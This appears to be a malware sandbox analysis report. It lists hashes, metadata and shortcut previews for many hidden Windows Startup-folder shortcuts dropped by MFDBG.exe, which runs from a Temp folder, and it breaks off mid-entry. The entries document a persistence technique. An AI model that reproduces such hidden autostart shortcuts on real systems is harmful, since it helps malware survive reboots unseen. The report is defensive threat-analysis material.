File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9222466943921255
Encrypted:	false
SSDEEP:	24:8oBf98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8miEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C5DE7C059D632CF60A4A103EBA84EBE2
SHA1:	B5724D4C1A5135983D79744DC573C5CE09EE9AEE
SHA-256:	DAFA85362552F802B4ED5D414BF5B54D68B0BF75DB169C604E15BD4945FB6009
SHA-512:	233EFE833EF3EAD2268837BE4CD8B82EF8FEBA2F7ADA19EE9EA595192B2F1ABC517B556E574DDA6042C0BF28E53690A564D05AAAB613902CAE3C6794AB09C9B3
Malicious:	false
Preview:	L..................F....".......d....@'^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...=\|"^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b0665480dd1448d6ae92f8d305245bbc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929727068837653
Encrypted:	false
SSDEEP:	24:8CBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8wREvZ0yRO7DLO2zdxdRd1kyg
MD5:	887AEEB1A0DB8E8BC4C888F814934FC9
SHA1:	4F726BE14500E6FD1900D099F55E6DF759E03F04
SHA-256:	CFCC498EE9C87E7FBD449F35805F33965DE964195C7FDF993A343D33D6E74E1F
SHA-512:	5A77B85161D8D180AA059A0AB64F41DAE152214F74F5CB3327348F53EFBCBB79395701A8782A6D5B5DE924E55DF34F20C67AE4C65AC6F02DE0B285F0A77C4D24
Malicious:	false
Preview:	L..................F....".......d......Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b0ad081455aa4e238d4d3e959e02f8cb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918168112468699
Encrypted:	false
SSDEEP:	24:8dBfL8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8PgEvZ0yRO7DLO2zdxdRd1kyg
MD5:	56D060FD5B5B10476F405005149938C0
SHA1:	C6CA949A114F427C63E9F357C3B84C09BD1B408E
SHA-256:	FCD63F81E60A81E6442EE15B0B07C300D942C03FFF02F490D7935F88CADC1065
SHA-512:	7B9ECEE7F844587FE66B0EDD4F4FD39E5128765A9A2E68D495EBABBB2743C5C98CC41036D0ADB4928E07A0EE607DFC2231A471D56DBE655C7993C31C73921619
Malicious:	false
Preview:	L..................F....".......d....`.\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....`.\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b173a49480e04460aff51749c069a73f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9273420225140425
Encrypted:	false
SSDEEP:	24:8MBfn8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8CUEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9921C99890EDE42BD89F836E03B17369
SHA1:	FED6FE0AD4BFFEFA2E0D1C08F09118138D7DA877
SHA-256:	25D73C15028EF3496CD0E733CB55DC29C8FBFAC4D7EA2B8D308F3924C4BDFFA1
SHA-512:	3231FAD8440E481195E1C7BF9507BE4E2EE83A823C196034CF71260EB95542CD6061FEA8D4F0904FA76D11313552C121296D61CC72BD4FF4CFED5B155AD5CFB5
Malicious:	false
Preview:	L..................F....".......d...$..~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...l..~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b1ac400e5ce44609948c42db9c7bcceb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919035615644746
Encrypted:	false
SSDEEP:	24:8dhBfZ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8d7WEvZ0yRO7DLO2zdxdRd1kyg
MD5:	99C2052C53911D6B52D777B96440CDC6
SHA1:	C65DC235434F7CFB920BCC7CBE8F0A218C422BDA
SHA-256:	4285D2BC378B10B4DC5C140EEAE45AE6BD4D4F98E237255142A08FF04A2C0A88
SHA-512:	D5507B1F2BF7AEF46EE6AD8233167A8EF1EB28867B517CC73990DCB8E92D1CE4980923C062A2AB8D181B7B664489C16A3EDD780A760659C61F1B3C08511A1E90
Malicious:	false
Preview:	L..................F....".......d.....\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b1c09c0732dc442d920e1feab5f489f0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924872641521066
Encrypted:	false
SSDEEP:	24:8fTBfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8teEvZ0yRO7DLO2zdxdRd1kyg
MD5:	50C9EC0A693B8EA5BEEFDC95CDBC5C90
SHA1:	07DEAE00DF92BC97660204FE115041EDA5B6BDA7
SHA-256:	19E0B1474F446EED1686D88671D9B89D301372D719EC4EA7329EFC1B2826966E
SHA-512:	8CBEB58D897A1C12687CF29EBE05583FF30AAB1A23F74ED38EC5B38B2C1BE2175784A4577B93CDA99DDFBEA5994D31738BF859F2AE5C79956B852B3FB095C427
Malicious:	false
Preview:	L..................F....".......d....($$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....($$d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b1dc0c490730403a82859fca8741544c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917255577209817
Encrypted:	false
SSDEEP:	24:8+Bf98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8UiEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8670D14BD2E60F3C720D2D059D9BD3CD
SHA1:	B75B93949A7DECE80DE9AC2274C8BA45A44BD822
SHA-256:	6B2F0EA26F6D0C1D5F4E0ADDCFC6D3B4700D41B3BCC9C491A30511C78D053EFA
SHA-512:	3C53BD9CE635FF32C8ED85738A51A6C691050B0CACAF17CA6E455A84F1C101742880210294D68613EABE3AB6213773B8E448E0BA4A9904836E6337EE486F1F4B
Malicious:	false
Preview:	L..................F....".......d...r..^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...=\|"^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b27de76ace1c4257a2ce93218b3012c1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931921099670846
Encrypted:	false
SSDEEP:	24:8FBfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8H4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	709044897F882B9A44E1940C8580C4A2
SHA1:	7F0D94050A768E0DCD560EAE07F248FDE194BFAB
SHA-256:	FE98560C5998D1D1BE6200628F05DF8BD08A17342153C22C9C4E9CC997250DE0
SHA-512:	BD0623842BF2612472D1F2CAEBAD600B8B4ABDD0A5C6AF3C4C44DE601F3C3C0DF92C1421E7BCAB7624D65B1F39643532C933A18237D5A96BA598E71CC9A3333E
Malicious:	false
Preview:	L..................F....".......d......{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....n.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b27f2a2f860b42a8a2043f1eabe01d71.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92076086323949
Encrypted:	false
SSDEEP:	24:80BfW8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8aDEvZ0yRO7DLO2zdxdRd1kyg
MD5:	380A26F329880A49730F75F8F76B7D6B
SHA1:	63EF2A94D7450E96D75EDE34376C14B9A41265A5
SHA-256:	692B8F11ABFF09883A2ED5EB89C77E54786D585958698DFB009DC0F52CA98D1F
SHA-512:	5AE5ACEA3051080603EABA8ED030F66FCF2A47A8CC10CB27A0AC7EAA80DFB79206EE4B9D0AC041FC59DA388BF8DCE95672962497E323CD37A5A2CE1F5ECFE0D2
Malicious:	false
Preview:	L..................F....".......d...~c.\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...)..\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b2941dd6e76541968cf4b029eeb9bcc7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929405898814216
Encrypted:	false
SSDEEP:	24:8IQBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8IeREvZ0yRO7DLO2zdxdRd1kyg
MD5:	4F140B3FCC3524515723E80CF34216E5
SHA1:	9F8FDA110090061A95046939482504245DB4306F
SHA-256:	135081536CADF48A355B516462237003B5F6D9CF8321ECE457588E8EFE997F27
SHA-512:	670EC31226484FA30E787B8888FE156DFAC96CC66588D16A84633B5F3949F63241FA3CA48D5F36111FC72D3808B1D00BF6D5EBE1B52BB6355B9565D32C8AE5D5
Malicious:	false
Preview:	L..................F....".......d......{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b2b6461849d44285b65c92a721f7871b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:52 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921436399644509
Encrypted:	false
SSDEEP:	24:8BTBfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8DWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	0ECEC86465ED4422852FADFE6DFB56A6
SHA1:	2C8D0B3C89CB424955FEEAF22AC4E8B8913BD5BE
SHA-256:	044B9CA53091CB17E71072CACE83D126A70846E11B68269616E7B5F13856B529
SHA-512:	1BC8BE673D9879F0618CA236A61136660549CD475A1F362424EF8DB382FE335F883198EF666E370CAEC49C2A86B51EA993C300850C9C85F1171F006D83D58746
Malicious:	false
Preview:	L..................F....".......d.....<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......<d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b2df7a78e53f46a4a43edd7cbe2dc415.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919418197763782
Encrypted:	false
SSDEEP:	24:8wBfT+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8+LTEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AB41026F9E503ED4E1E1F3D1D2A73379
SHA1:	C9DBF06734EA5541A7A4C573A544167616CB9A5A
SHA-256:	F730214A4E7A65368BAF632D2EFA47F1915C90241D5C281229781E565639B777
SHA-512:	184FAAC9DB9716549014DE82DE1F43B0D9BBE05C1C0BA130B1A0D42FC7EA8C51B63472FE47DF67485D5B87F2A93A62F3FDE258816C80AE0962F2753DAC6B2DD3
Malicious:	false
Preview:	L..................F....".......d....BH9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....iO9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b2e28e2e7fa1483f9b5f95c40b8daeb0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925537740641915
Encrypted:	false
SSDEEP:	24:8WBf/8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8c8EvZ0yRO7DLO2zdxdRd1kyg
MD5:	F7C9DBC48B5414ECB68EB9BBFBC6B48F
SHA1:	B61BA8436AA3E5E7DF1AAD1EDEB125E2897A5117
SHA-256:	6E920883075CA8C9DEDCCCE39A5417631DDEDCA314E07789B68B813A943A944D
SHA-512:	576F1F1F9C7901C47664C5A21F8078C06DF8E79B6448FAAE5EF0D0DD6B7D9ABCDB5CCD2C7E194F0C0815C39BF59639E1DAA700831C3056B52E512F844A12CC61
Malicious:	false
Preview:	L..................F....".......d.....{}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....v}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b36c835b9a95454ba5d0dd12ccfec0ac.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
